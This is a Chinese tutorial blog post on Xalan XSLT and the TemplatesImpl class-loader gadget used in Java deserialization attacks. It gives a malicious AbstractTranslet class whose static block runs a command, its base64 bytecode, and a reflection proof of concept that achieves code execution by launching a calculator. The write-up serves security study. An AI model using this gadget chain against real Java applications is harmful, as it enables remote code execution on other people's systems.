首页 > 编程语言 >【java编程】Xalan ClassLoader

【java编程】Xalan ClassLoader

时间:2024-11-28 21:33:14浏览次数:6  
标签:xml java Xalan sun ClassLoader new import com public

Xalan 是 Java 中用于操作 XML 的一个库,它是 Apache XML 项目的一部分,主要用于将 XSLT(Extensible Stylesheet Language Transformations)转换为可执行代码,从而实现XML文档的转换。

XSLT 的理解

当然了, 我们先理解该模块如何使用之后, 我们再研究它的妙用, XSLT 说白了就是将 XML + XSL文件解析为HTML文件, 具体如何理解呢, 我们定义如下代码:

XML 文件内容如下:

<?xml version="1.0" encoding="ISO-8859-1"?>
<?xml-stylesheet type="text/xsl" href="1.xsl"?> <!-- 引用 1.xsl 文件 -->
<users> <!-- 定义 users, 其中存放一些信息内容 -->
    <info>
        <username>heihu577</username> <!-- heihu577 用户定义 -->
        <age>12</age>

    </info>

    <info>
        <username>hacker01</username> <!-- hacker01 用户定义 -->
        <age>13</age>

    </info>

</users>

对于XML的解释我们就不多说了, 是一种存储数据的方式

XSL 文件内容如下:

<?xml version="1.0"?>
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <!-- XSL 文件必须引用的头部内容 -->
<xsl:template match="/"> <!-- 定义一个模板文件 -->
  <html> <!-- 放入你的 HTML 文档内容 -->
    <body>
      <h2>My XSL Tester</h2>

      <table border="1">
        <tr bgcolor="#9acd32">
          <th>username</th>

          <th>age</th>

        </tr>

        <xsl:for-each select="users/info"> <!-- 从 XML 文件中遍历 users/info 中的内容 -->
          <tr>
            <td><xsl:value-of select="username"/></td> <!-- 将 users/info/username 值放入到 td 标签中 -->
            <td><xsl:value-of select="age"/></td> <!-- 将 users/info/age 值放入到 td 标签中 -->
          </tr>

        </xsl:for-each>

      </table>

    </body>

  </html>

</xsl:template>

</xsl:stylesheet>

总的来说存在一个引用关系, 关系图如下:

从图中可以看到, 1.xml 用来定义数据信息, 1.xsl 用来定义 HTML 模板并引用 1.xml 中的数据信息, 最终生成 result.html

其中1.xml + 1.xsl ⏩ result.html生成的 Java 代码如下:


public class Main {
    public static void main(String[] args) throws ClassNotFoundException, IOException,
            InstantiationException, IllegalAccessException, NoSuchPaddingException, NoSuchAlgorithmException,
            InvalidKeyException, IllegalBlockSizeException, BadPaddingException, TransformerException {
        TransformerFactory transformerFactory = new TransformerFactoryImpl(); // 得到工厂类
        ClassLoader appClassLoader = ClassLoader.getSystemClassLoader(); // 得到 ClassLoader, 方便得到 resources 目录下的文件流

        Transformer transformer =
                transformerFactory.newTransformer(
                        new StreamSource(appClassLoader.getResourceAsStream("1.xsl"))
                ); // 得到转换器, 传入 XSL 文件
        /*
            @Override
            public Transformer newTransformer(Source source) throws // transformerFactory.newTransformer 方法原型
                TransformerConfigurationException
            {
                final Templates templates = newTemplates(source); // 注意这里应用到了 Templates 类
                final Transformer transformer = templates.newTransformer();
                if (_uriResolver != null) {
                    transformer.setURIResolver(_uriResolver);
                }
                return(transformer);
            }
        */
        transformer.transform(
                new StreamSource(appClassLoader.getResourceAsStream("1.xml")), // 传入 1.xml 文件, 读取数据信息
                new StreamResult(new File(appClassLoader.getResource(".").getPath(), "result.html")) // 生成 result.html 文件内容
        );
    }
}

TemplatesImpl 类攻击链

在上述代码中我们对transformerFactory.newTransformer方法增加了注释, 我们要重点关注final Templates templates = newTemplates(source);中的Templates到底是什么, 该类型是个接口类型, 定义如下:

public interface Templates {
    Transformer newTransformer() throws TransformerConfigurationException;
    Properties getOutputProperties();
}

TemplatesImpl类所实现, 如下:

public final class TemplatesImpl implements Templates, Serializable {
    static final class TransletClassLoader extends ClassLoader {
        private final Map<String,Class> _loadedExternalExtensionFunctions;
        TransletClassLoader(ClassLoader parent) {
             super(parent);
            _loadedExternalExtensionFunctions = null;
        }
        TransletClassLoader(ClassLoader parent,Map<String, Class> mapEF) {
            super(parent);
            _loadedExternalExtensionFunctions = mapEF;
        }
        public Class<?> loadClass(String name) throws ClassNotFoundException {
            Class<?> ret = null;
            if (_loadedExternalExtensionFunctions != null) {
                ret = _loadedExternalExtensionFunctions.get(name);
            }
            if (ret == null) {
                ret = super.loadClass(name);
            }
            return ret;
         }
        Class defineClass(final byte[] b) {
            return defineClass(null, b, 0, b.length);
        }
    }
    //... 其他定义
}

比较有趣的是, 该类其中定义了TransletClassLoader, 并重写了loadClass方法, 如果_loadedExternalExtensionFunctions这个Map中存在我们已经定义的Class, 那么直接返回。

defineClass方法直接调用了父类的defineClass方法, 那么谁使用了该类加载器进行加载呢?
如图:

可以看到的是, defineTransletClasses方法中调用了defineClass方法, 其值是我们的_bytecodes中的字节码信息, 也就是说当我们的_bytecodes值可控时就可以进行加载恶意字节码信息. 这里我们可以在本地利用反射进行学习这个类的使用.

紧接着注意我们图中398~399行中笔者折叠部分的内容:

所以这里_tfactory的值必须为TransformerFactoryImpl类才可以保证代码的正常运行, 否则到这里会抛出一个空指针异常.

以及注意图中的410 && 422行中对_auxClasses成员属性的操作:

这里如果程序运行时_bytecodes.length返回了1, 而实际运行的类并没有继承ABSTRACT_TRANSLET (AbstractTranslet), 则会进入到下面的else分支, _auxClasses将不会初始化, 也会爆出一个空指针异常.

所以如果我们的恶意类没有继承AbstractTranslet的话我们需要提前对_auxClasses进行初始化操作. 因为恶意类是我们自己编写的, 最好还是遵循这个代码的走向流程, 所以这里要特别注意的是_transletIndex变量的值.

我们的恶意类必须要进行继承com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet就可以进入if分支, 这样我们就不会遇到_auxClasses的空指针报错了.

回到loader.loadClass点, 在我们之前学习自定义ClassLoader中有了解到, 我们必须在调用defineClass后调用newInstance()生成实例才可以进入到该类的无参构造|static代码块, 而谁又调用了defineTransletClasses得到clazz对象后调用了newInstance()?

getTransletInstance方法调用了defineTransletClasses方法后进行了newInstance()操作, 用来实例化defineTransletClasses中加载的类. 可以看到我们这里_name不能为null, 否则就不会往下执行.

在newTransformer方法中调用了getTransletInstance方法, 这里已经是一个可以利用的完整链路了。 当然还有调用newTransformer方法的口:

调用流程图

为了清楚它们之间的逻辑, 笔者在这里放出总结图, 以便梳理调用关系:

本地利用该 ClassLoader

准备恶意类:

package com;

import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import sun.misc.BASE64Encoder;

import java.io.IOException;
import java.util.Base64;

/**
 * Author: HeiHu577
 * Date: 2024/9/4 16:28
 * Description:
 */
public class CMD extends com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet {
    static {
        try {
            Process exec = Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            throw new RuntimeException(e);
        }
    }

    public static void main(String[] args) {
        byte[] encode = Base64.getEncoder().encode(Repository.lookupClass(CMD.class).getBytes());
        System.out.print(new String(encode)); // yv66vgAAADQAZgoAEQAzCgA0ADUHADYKADcAOAoAOQA6CgA7ADwJAD0APgcAPwoACABACgBBAEIKAEMARAgARQoAQwBGBwBHBwBICgAPAEkHAEoBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEACUxjb20vQ01EOwEABG1haW4BABYoW0xqYXZhL2xhbmcvU3RyaW5nOylWAQAEYXJncwEAE1tMamF2YS9sYW5nL1N0cmluZzsBAAZlbmNvZGUBAAJbQgEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApFeGNlcHRpb25zBwBLAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAAg8Y2xpbml0PgEAAWUBABVMamF2YS9pby9JT0V4Y2VwdGlvbjsBAA1TdGFja01hcFRhYmxlBwBHAQAKU291cmNlRmlsZQEACENNRC5qYXZhDAASABMHAEwMAE0AUAEAB2NvbS9DTUQHAFEMAFIAUwcAVAwAVQBWBwBXDAAdAFgHAFkMAFoAWwEAEGphdmEvbGFuZy9TdHJpbmcMABIAXAcAXQwAXgBfBwBgDABhAGIBAARjYWxjDABjAGQBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQAaamF2YS9sYW5nL1J1bnRpbWVFeGNlcHRpb24MABIAZQEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABBqYXZhL3V0aWwvQmFzZTY0AQAKZ2V0RW5jb2RlcgEAB0VuY29kZXIBAAxJbm5lckNsYXNzZXMBABwoKUxqYXZhL3V0aWwvQmFzZTY0JEVuY29kZXI7AQArY29tL3N1bi9vcmcvYXBhY2hlL2JjZWwvaW50ZXJuYWwvUmVwb3NpdG9yeQEAC2xvb2t1cENsYXNzAQBJKExqYXZhL2xhbmcvQ2xhc3M7KUxjb20vc3VuL29yZy9hcGFjaGUvYmNlbC9pbnRlcm5hbC9jbGFzc2ZpbGUvSmF2YUNsYXNzOwEANGNvbS9zdW4vb3JnL2FwYWNoZS9iY2VsL2ludGVybmFsL2NsYXNzZmlsZS9KYXZhQ2xhc3MBAAhnZXRCeXRlcwEABCgpW0IBABhqYXZhL3V0aWwvQmFzZTY0JEVuY29kZXIBAAYoW0IpW0IBABBqYXZhL2xhbmcvU3lzdGVtAQADb3V0AQAVTGphdmEvaW8vUHJpbnRTdHJlYW07AQAFKFtCKVYBABNqYXZhL2lvL1ByaW50U3RyZWFtAQAFcHJpbnQBABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAYKExqYXZhL2xhbmcvVGhyb3dhYmxlOylWACEAAwARAAAAAAAFAAEAEgATAAEAFAAAAC8AAQABAAAABSq3AAGxAAAAAgAVAAAABgABAAAAEgAWAAAADAABAAAABQAXABgAAAAJABkAGgABABQAAABaAAQAAgAAAB64AAISA7gABLYABbYABkyyAAe7AAhZK7cACbYACrEAAAACABUAAAAOAAMAAAAcAA8AHQAdAB4AFgAAABYAAgAAAB4AGwAcAAAADwAPAB0AHgABAAEAHwAgAAIAFAAAAD8AAAADAAAAAbEAAAACABUAAAAGAAEAAAAiABYAAAAgAAMAAAABABcAGAAAAAAAAQAhACIAAQAAAAEAIwAkAAIAJQAAAAQAAQAmAAEAHwAnAAIAFAAAAEkAAAAEAAAAAbEAAAACABUAAAAGAAEAAAAmABYAAAAqAAQAAAABABcAGAAAAAAAAQAhACIAAQAAAAEAKAApAAIAAAABACoAKwADACUAAAAEAAEAJgAIACwAEwABABQAAABmAAMAAQAAABe4AAsSDLYADUunAA1LuwAPWSq3ABC/sQABAAAACQAMAA4AAwAVAAAAFgAFAAAAFQAJABgADAAWAA0AFwAWABkAFgAAAAwAAQANAAkALQAuAAAALwAAAAcAAkwHADAJAAIAMQAAAAIAMgBPAAAACgABADsANABOAAk=
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
    }
}

生成Payload成功后, 我们本地通过反射依次修改变量来进行RCE测试:

package com.heihu577;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerImpl;
import sun.misc.BASE64Decoder;
import sun.misc.BASE64Encoder;

import javax.crypto.BadPaddingException;
import javax.crypto.Cipher;
import javax.crypto.IllegalBlockSizeException;
import javax.crypto.NoSuchPaddingException;
import javax.crypto.spec.SecretKeySpec;
import javax.xml.transform.Transformer;
import javax.xml.transform.TransformerConfigurationException;
import javax.xml.transform.TransformerException;
import javax.xml.transform.TransformerFactory;
import javax.xml.transform.stream.StreamResult;
import javax.xml.transform.stream.StreamSource;
import java.io.File;
import java.io.IOException;
import java.lang.reflect.Field;
import java.security.InvalidKeyException;
import java.security.NoSuchAlgorithmException;
import java.util.HashMap;
import java.util.Properties;

public class Main {
    public static void main(String[] args) throws ClassNotFoundException, IOException,
            InstantiationException, IllegalAccessException, NoSuchPaddingException, NoSuchAlgorithmException,
            InvalidKeyException, IllegalBlockSizeException, BadPaddingException, TransformerException,
            NoSuchFieldException {
        TemplatesImpl templates = new TemplatesImpl();
        Field bytecodes = templates.getClass().getDeclaredField("_bytecodes");
        Field name = templates.getClass().getDeclaredField("_name");
        Field tfactory = templates.getClass().getDeclaredField("_tfactory");
        name.setAccessible(true);
        tfactory.setAccessible(true);
        bytecodes.setAccessible(true);
        byte[][] myBytes = new byte[1][];
        myBytes[0] =
                new BASE64Decoder().decodeBuffer(
                        "yv66vgAAADQAZgoAEQAzCgA0ADUHADYKADcAOAoAOQA6CgA7ADwJAD0APgcAPwoACABACgBBAEIKAEMARAgARQoAQwBGBwBHBwBICgAPAEkHAEoBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEACUxjb20vQ01EOwEABG1haW4BABYoW0xqYXZhL2xhbmcvU3RyaW5nOylWAQAEYXJncwEAE1tMamF2YS9sYW5nL1N0cmluZzsBAAZlbmNvZGUBAAJbQgEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApFeGNlcHRpb25zBwBLAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAAg8Y2xpbml0PgEAAWUBABVMamF2YS9pby9JT0V4Y2VwdGlvbjsBAA1TdGFja01hcFRhYmxlBwBHAQAKU291cmNlRmlsZQEACENNRC5qYXZhDAASABMHAEwMAE0AUAEAB2NvbS9DTUQHAFEMAFIAUwcAVAwAVQBWBwBXDAAdAFgHAFkMAFoAWwEAEGphdmEvbGFuZy9TdHJpbmcMABIAXAcAXQwAXgBfBwBgDABhAGIBAARjYWxjDABjAGQBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQAaamF2YS9sYW5nL1J1bnRpbWVFeGNlcHRpb24MABIAZQEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABBqYXZhL3V0aWwvQmFzZTY0AQAKZ2V0RW5jb2RlcgEAB0VuY29kZXIBAAxJbm5lckNsYXNzZXMBABwoKUxqYXZhL3V0aWwvQmFzZTY0JEVuY29kZXI7AQArY29tL3N1bi9vcmcvYXBhY2hlL2JjZWwvaW50ZXJuYWwvUmVwb3NpdG9yeQEAC2xvb2t1cENsYXNzAQBJKExqYXZhL2xhbmcvQ2xhc3M7KUxjb20vc3VuL29yZy9hcGFjaGUvYmNlbC9pbnRlcm5hbC9jbGFzc2ZpbGUvSmF2YUNsYXNzOwEANGNvbS9zdW4vb3JnL2FwYWNoZS9iY2VsL2ludGVybmFsL2NsYXNzZmlsZS9KYXZhQ2xhc3MBAAhnZXRCeXRlcwEABCgpW0IBABhqYXZhL3V0aWwvQmFzZTY0JEVuY29kZXIBAAYoW0IpW0IBABBqYXZhL2xhbmcvU3lzdGVtAQADb3V0AQAVTGphdmEvaW8vUHJpbnRTdHJlYW07AQAFKFtCKVYBABNqYXZhL2lvL1ByaW50U3RyZWFtAQAFcHJpbnQBABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAYKExqYXZhL2xhbmcvVGhyb3dhYmxlOylWACEAAwARAAAAAAAFAAEAEgATAAEAFAAAAC8AAQABAAAABSq3AAGxAAAAAgAVAAAABgABAAAAEgAWAAAADAABAAAABQAXABgAAAAJABkAGgABABQAAABaAAQAAgAAAB64AAISA7gABLYABbYABkyyAAe7AAhZK7cACbYACrEAAAACABUAAAAOAAMAAAAcAA8AHQAdAB4AFgAAABYAAgAAAB4AGwAcAAAADwAPAB0AHgABAAEAHwAgAAIAFAAAAD8AAAADAAAAAbEAAAACABUAAAAGAAEAAAAiABYAAAAgAAMAAAABABcAGAAAAAAAAQAhACIAAQAAAAEAIwAkAAIAJQAAAAQAAQAmAAEAHwAnAAIAFAAAAEkAAAAEAAAAAbEAAAACABUAAAAGAAEAAAAmABYAAAAqAAQAAAABABcAGAAAAAAAAQAhACIAAQAAAAEAKAApAAIAAAABACoAKwADACUAAAAEAAEAJgAIACwAEwABABQAAABmAAMAAQAAABe4AAsSDLYADUunAA1LuwAPWSq3ABC/sQABAAAACQAMAA4AAwAVAAAAFgAFAAAAFQAJABgADAAWAA0AFwAWABkAFgAAAAwAAQANAAkALQAuAAAALwAAAAcAAkwHADAJAAIAMQAAAAIAMgBPAAAACgABADsANABOAAk=");
        bytecodes.set(templates, myBytes);
        name.set(templates, "");
        tfactory.set(templates, new TransformerFactoryImpl());
        Transformer transformer = templates.newTransformer();
    }
}

运行会弹出计算器.

FastJson 反序列化中的应用

这一部分知识会在FastJson反序列化 && 一些反序列化链路中所使用, 这里就先不提及了, 后续介绍反序列化时再重新拿起.

标签:xml,java,Xalan,sun,ClassLoader,new,import,com,public
From: https://www.cnblogs.com/o-O-oO/p/18575234

相关文章

  • Java中的“多态“详解
    多态(Polymorphism)是面向对象编程(OOP)中的一个核心概念,它允许同一个接口或方法在不同对象上具有不同的实现方式。多态性使得程序在运行时可以根据对象的实际类型来决定调用哪个方法,从而提高代码的灵活性和可扩展性。在Java中,多态主要通过以下几种方式实现:1.方法重载(编译时多态......
  • 【java编程】BCEL ClassLoader
    BCEL介绍BCEL的全名应该是ApacheCommonsBCEL,属于ApacheCommons项目下的一个子项目。ApacheCommons大家应该不陌生,反序列化最著名的利用链就是出自于其另一个子项目——ApacheCommonsCollections。BCEL库提供了一系列用于分析、创建、修改JavaClass文件的API。就这个库......
  • 【java编程】URLClassLoader
    从上面我们研究【java编程】双亲委派模式时进行Debug了源代码,可以发现的是,URLClassLoader是ExtClassLoader&&AppClassLoader的父类(不是父亲),publicclassLauncher{staticclassExtClassLoaderextendsURLClassLoader{}staticclassAppClassLoaderextend......
  • 【java编程】双亲委派模式
    双亲委派模式图文解释一个类加载器查找class和resource时,是通过委托模式进行的,它首先判断这个class是不是已经加载成功,如果没有的话它并不是自己进行查找,而是先通过父加载器,然后递归下去,直到BootstrapClassLoader,如果Bootstrapclassloader找到了,直接返回,如果没有找到,则一级一......
  • 14Java Lambda、方法引用、算法、正则表达式
    一、Arrays类接下来我们学习的类叫做Arrays,其实Arrays并不是重点,但是我们通过Arrays这个类的学习有助于我们理解下一个知识点Lambda的学习。所以我们这里先学习Arrays,再通过Arrays来学习Lamdba这样学习会更丝滑一些^_^.1.1Arrays基本使用我们先认识一下Arrays是干什么用的,A......
  • 15Java集合进阶(异常、集合)
    一、异常1.1认识异常接下来,我们学习一下异常,学习异常有利于我们处理程序中可能出现的问题。我先带着同学们认识一下,什么是异常?我们阅读下面的代码,通过这段代码来认识异常。我们调用一个方法时,经常一部小心就出异常了,然后在控制台打印一些异常信息。其实打印的这些异常信息......
  • 16Java集合进阶(Set、Map集合、可变参数、斗地主案例)
    请先看我上篇文章15Java集合进阶(异常、集合)-CSDN博客一、Set系列集合1.1认识Set集合的特点Set集合是属于Collection体系下的另一个分支,它的特点如下图所示下面我们用代码简单演示一下,每一种Set集合的特点。//Set<Integer>set=newHashSet<>(); //无序、无索引、不重......
  • 【java编程】Java 类加载器
    jvm启动的时候,并不会一次性加载所有的class文件,而是根据需要去动态加载.否则一次性加载那么多jar包那么多class,那内存将崩溃.Java类加载器Java类加载流程Java语言系统自带有三个类加载器,分别为如下:BootStrapClassLoaderBootstrapClassLoader:最顶层的加载类,......
  • 【java编程】Java 类 && Class 文件
    jvm启动的时候,并不会一次性加载所有的class文件,而是根据需要去动态加载.否则一次性加载那么多jar包那么多class,那内存将崩溃.Java类&&Class文件定义Heihu577.java文件,内容如下:publicclassHeihu577{publicstaticvoidmain(String[]args){Syst......
  • Java class 文件安全加密工具对比+ClassFinal实战
    前言常见加密方案对比XJarProGuardClassFinalClassFinal实战纯命令方式maven插件方式最后前言相信不少的同学开发的软件都是用户商业化,对于这些商业运营的项目很多都会直接部署在客户方,这样就可能会导致项目源码泄露。当然,作为Java语言的搬砖人......